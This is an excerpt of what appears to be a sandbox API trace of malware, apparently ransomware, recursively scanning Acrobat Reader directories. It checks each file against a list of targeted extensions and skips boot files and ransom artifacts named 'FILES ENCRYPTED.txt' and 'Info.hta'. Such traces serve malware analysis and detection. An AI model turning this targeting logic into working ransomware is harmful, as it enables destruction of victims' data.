	[0171.320] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0171.320] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0171.320] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.320] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0171.320] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0171.322] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1
	[0171.322] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select") returned 113
	[0171.322] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select") returned 1
	[0171.322] lstrlenW (lpString="add-account-select") returned 18
	[0171.322] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="add-account-select") returned 1
	[0171.322] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0171.323] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select") returned 113
	[0171.323] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\*", lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140898
	[0171.350] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.350] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0171.350] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css") returned 117
	[0171.350] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css") returned 1
	[0171.350] lstrlenW (lpString="css") returned 3
	[0171.350] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="css") returned -1
	[0171.350] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42b29b0
	[0171.351] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css") returned 117
	[0171.351] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\*", lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140c98
	[0171.360] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0171.360] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1
	[0171.360] lstrlenW (lpString="main.css") returned 8
	[0171.360] lstrlenW (lpString=".1cd") returned 4
	[0171.360] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1
	[0171.360] lstrlenW (lpString=".3ds") returned 4
	[0171.360] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1
	[0171.360] lstrlenW (lpString=".3fr") returned 4
	[0171.361] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".3g2") returned 4
	[0171.361] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".3gp") returned 4
	[0171.361] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".7z") returned 3
	[0171.361] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1
	[0171.361] lstrlenW (lpString=".accda") returned 6
	[0171.361] lstrcmpiW (lpString1=".accda", lpString2="in.css") returned -1
	[0171.361] lstrlenW (lpString=".accdb") returned 6
	[0171.361] lstrcmpiW (lpString1=".accdb", lpString2="in.css") returned -1
	[0171.361] lstrlenW (lpString=".accdc") returned 6
	[0171.361] lstrcmpiW (lpString1=".accdc", lpString2="in.css") returned -1
	[0171.361] lstrlenW (lpString=".accde") returned 6
	[0171.361] lstrcmpiW (lpString1=".accde", lpString2="in.css") returned -1
	[0171.361] lstrlenW (lpString=".accdt") returned 6
	[0171.361] lstrcmpiW (lpString1=".accdt", lpString2="in.css") returned -1
	[0171.361] lstrlenW (lpString=".accdw") returned 6
	[0171.361] lstrcmpiW (lpString1=".accdw", lpString2="in.css") returned -1
	[0171.361] lstrlenW (lpString=".adb") returned 4
	[0171.361] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".adp") returned 4
	[0171.361] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".ai") returned 3
	[0171.361] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1
	[0171.361] lstrlenW (lpString=".ai3") returned 4
	[0171.361] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".ai4") returned 4
	[0171.361] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".ai5") returned 4
	[0171.361] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".ai6") returned 4
	[0171.361] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1
	[0171.361] lstrlenW (lpString=".ai7") returned 4
	[0171.362] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".ai8") returned 4
	[0171.362] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".anim") returned 5
	[0171.362] lstrcmpiW (lpString1=".anim", lpString2="n.css") returned -1
	[0171.362] lstrlenW (lpString=".arw") returned 4
	[0171.362] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".as") returned 3
	[0171.362] lstrcmpiW (lpString1=".as", lpString2="css") returned -1
	[0171.362] lstrlenW (lpString=".asa") returned 4
	[0171.362] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".asc") returned 4
	[0171.362] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".ascx") returned 5
	[0171.362] lstrcmpiW (lpString1=".ascx", lpString2="n.css") returned -1
	[0171.362] lstrlenW (lpString=".asm") returned 4
	[0171.362] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".asmx") returned 5
	[0171.362] lstrcmpiW (lpString1=".asmx", lpString2="n.css") returned -1
	[0171.362] lstrlenW (lpString=".asp") returned 4
	[0171.362] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".aspx") returned 5
	[0171.362] lstrcmpiW (lpString1=".aspx", lpString2="n.css") returned -1
	[0171.362] lstrlenW (lpString=".asr") returned 4
	[0171.362] lstrcmpiW (lpString1=".asr", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".asx") returned 4
	[0171.362] lstrcmpiW (lpString1=".asx", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".avi") returned 4
	[0171.362] lstrcmpiW (lpString1=".avi", lpString2=".css") returned -1
	[0171.362] lstrlenW (lpString=".avs") returned 4
	[0171.362] lstrcmpiW (lpString1=".avs", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".backup") returned 7
	[0171.363] lstrcmpiW (lpString1=".backup", lpString2="ain.css") returned -1
	[0171.363] lstrlenW (lpString=".bak") returned 4
	[0171.363] lstrcmpiW (lpString1=".bak", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".bay") returned 4
	[0171.363] lstrcmpiW (lpString1=".bay", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".bd") returned 3
	[0171.363] lstrcmpiW (lpString1=".bd", lpString2="css") returned -1
	[0171.363] lstrlenW (lpString=".bin") returned 4
	[0171.363] lstrcmpiW (lpString1=".bin", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".bmp") returned 4
	[0171.363] lstrcmpiW (lpString1=".bmp", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".bz2") returned 4
	[0171.363] lstrcmpiW (lpString1=".bz2", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".c") returned 2
	[0171.363] lstrcmpiW (lpString1=".c", lpString2="ss") returned -1
	[0171.363] lstrlenW (lpString=".cdr") returned 4
	[0171.363] lstrcmpiW (lpString1=".cdr", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".cer") returned 4
	[0171.363] lstrcmpiW (lpString1=".cer", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".cf") returned 3
	[0171.363] lstrcmpiW (lpString1=".cf", lpString2="css") returned -1
	[0171.363] lstrlenW (lpString=".cfc") returned 4
	[0171.363] lstrcmpiW (lpString1=".cfc", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".cfm") returned 4
	[0171.363] lstrcmpiW (lpString1=".cfm", lpString2=".css") returned -1
	[0171.363] lstrlenW (lpString=".cfml") returned 5
	[0171.363] lstrcmpiW (lpString1=".cfml", lpString2="n.css") returned -1
	[0171.363] lstrlenW (lpString=".cfu") returned 4
	[0171.364] lstrcmpiW (lpString1=".cfu", lpString2=".css") returned -1
	[0171.364] lstrlenW (lpString=".chm") returned 4
	[0171.364] lstrcmpiW (lpString1=".chm", lpString2=".css") returned -1
	[0171.364] lstrlenW (lpString=".cin") returned 4
	[0171.364] lstrcmpiW (lpString1=".cin", lpString2=".css") returned -1
	[0171.364] lstrlenW (lpString=".class") returned 6
	[0171.364] lstrcmpiW (lpString1=".class", lpString2="in.css") returned -1
	[0171.364] lstrlenW (lpString=".clx") returned 4
	[0171.364] lstrcmpiW (lpString1=".clx", lpString2=".css") returned -1
	[0171.364] lstrlenW (lpString=".config") returned 7
	[0171.364] lstrcmpiW (lpString1=".config", lpString2="ain.css") returned -1
	[0171.364] lstrlenW (lpString=".cpp") returned 4
	[0171.364] lstrcmpiW (lpString1=".cpp", lpString2=".css") returned -1
	[0171.364] lstrlenW (lpString=".cr2") returned 4
	[0171.364] lstrcmpiW (lpString1=".cr2", lpString2=".css") returned -1
	[0171.364] lstrlenW (lpString=".crt") returned 4
	[0171.364] lstrcmpiW (lpString1=".crt", lpString2=".css") returned -1
	[0171.364] lstrlenW (lpString=".crw") returned 4
	[0171.364] lstrcmpiW (lpString1=".crw", lpString2=".css") returned -1
	[0171.364] lstrlenW (lpString=".cs") returned 3
	[0171.364] lstrcmpiW (lpString1=".cs", lpString2="css") returned -1
	[0171.364] lstrlenW (lpString=".css") returned 4
	[0171.364] lstrcmpiW (lpString1=".css", lpString2=".css") returned 0
	[0171.364] lstrlenW (lpString="main.css") returned 8
	[0171.364] lstrlenW (lpString=".GTF") returned 4
	[0171.364] lstrcmpiW (lpString1=".GTF", lpString2=".css") returned 1
	[0171.364] lstrlenW (lpString="main.css") returned 8
	[0171.364] lstrcmpiW (lpString1="boot.ini", lpString2="main.css") returned -1
	[0171.364] lstrcmpiW (lpString1="bootfont.bin", lpString2="main.css") returned -1
	[0171.364] lstrcmpiW (lpString1="ntldr", lpString2="main.css") returned 1
	[0171.364] lstrcmpiW (lpString1="ntdetect.com", lpString2="main.css") returned 1
	[0171.364] lstrcmpiW (lpString1="io.sys", lpString2="main.css") returned -1
	[0171.364] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="main.css") returned -1
	[0171.364] lstrcmpiW (lpString1="Info.hta", lpString2="main.css") returned -1
	[0171.364] lstrcmpiW (lpString1="fvppjh.exe", lpString2="main.css") returned -1
	[0171.364] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css") returned 126
	[0171.365] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0
	[0171.365] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0171.365] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0171.366] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.366] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 116
	[0171.366] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 1
	[0171.366] lstrlenW (lpString="js") returned 2
	[0171.366] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="js") returned -1
	[0171.366] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42b29b0
	[0171.366] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js") returned 116
	[0171.366] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\*", lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0171.367] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0171.367] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0171.367] lstrlenW (lpString="plugin.js") returned 9
	[0171.367] lstrlenW (lpString=".1cd") returned 4
	[0171.367] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1
	[0171.367] lstrlenW (lpString=".3ds") returned 4
	[0171.368] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1
	[0171.368] lstrlenW (lpString=".3fr") returned 4
	[0171.368] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1
	[0171.368] lstrlenW (lpString=".3g2") returned 4
	[0171.368] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1
	[0171.368] lstrlenW (lpString=".3gp") returned 4
	[0171.368] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1
	[0171.368] lstrlenW (lpString=".7z") returned 3
	[0171.368] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0171.368] lstrlenW (lpString=".accda") returned 6
	[0171.368] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1
	[0171.368] lstrlenW (lpString=".accdb") returned 6
	[0171.368] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1
	[0171.368] lstrlenW (lpString=".accdc") returned 6
	[0171.368] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1
	[0171.368] lstrlenW (lpString=".accde") returned 6
	[0171.368] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1
	[0171.368] lstrlenW (lpString=".accdt") returned 6
	[0171.368] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1
	[0171.368] lstrlenW (lpString=".accdw") returned 6
	[0171.368] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1
	[0171.368] lstrlenW (lpString=".adb") returned 4
	[0171.368] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1
	[0171.368] lstrlenW (lpString=".adp") returned 4
	[0171.368] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1
	[0171.368] lstrlenW (lpString=".ai") returned 3
	[0171.368] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0171.368] lstrlenW (lpString=".ai3") returned 4
	[0171.368] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".ai4") returned 4
	[0171.369] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".ai5") returned 4
	[0171.369] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".ai6") returned 4
	[0171.369] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".ai7") returned 4
	[0171.369] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".ai8") returned 4
	[0171.369] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".anim") returned 5
	[0171.369] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1
	[0171.369] lstrlenW (lpString=".arw") returned 4
	[0171.369] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".as") returned 3
	[0171.369] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0171.369] lstrlenW (lpString=".asa") returned 4
	[0171.369] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".asc") returned 4
	[0171.369] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".ascx") returned 5
	[0171.369] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1
	[0171.369] lstrlenW (lpString=".asm") returned 4
	[0171.369] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".asmx") returned 5
	[0171.369] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1
	[0171.369] lstrlenW (lpString=".asp") returned 4
	[0171.369] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".aspx") returned 5
	[0171.369] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1
	[0171.369] lstrlenW (lpString=".asr") returned 4
	[0171.369] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1
	[0171.369] lstrlenW (lpString=".asx") returned 4
	[0171.370] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".avi") returned 4
	[0171.370] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".avs") returned 4
	[0171.370] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".backup") returned 7
	[0171.370] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1
	[0171.370] lstrlenW (lpString=".bak") returned 4
	[0171.370] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".bay") returned 4
	[0171.370] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".bd") returned 3
	[0171.370] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0171.370] lstrlenW (lpString=".bin") returned 4
	[0171.370] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".bmp") returned 4
	[0171.370] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".bz2") returned 4
	[0171.370] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".c") returned 2
	[0171.370] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0171.370] lstrlenW (lpString=".cdr") returned 4
	[0171.370] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".cer") returned 4
	[0171.370] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".cf") returned 3
	[0171.370] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0171.370] lstrlenW (lpString=".cfc") returned 4
	[0171.370] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".cfm") returned 4
	[0171.370] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1
	[0171.370] lstrlenW (lpString=".cfml") returned 5
	[0171.370] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1
	[0171.371] lstrlenW (lpString=".cfu") returned 4
	[0171.371] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".chm") returned 4
	[0171.371] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".cin") returned 4
	[0171.371] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".class") returned 6
	[0171.371] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1
	[0171.371] lstrlenW (lpString=".clx") returned 4
	[0171.371] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".config") returned 7
	[0171.371] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1
	[0171.371] lstrlenW (lpString=".cpp") returned 4
	[0171.371] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".cr2") returned 4
	[0171.371] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".crt") returned 4
	[0171.371] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".crw") returned 4
	[0171.371] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".cs") returned 3
	[0171.371] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0171.371] lstrlenW (lpString=".css") returned 4
	[0171.371] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".csv") returned 4
	[0171.371] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1
	[0171.371] lstrlenW (lpString=".cub") returned 4
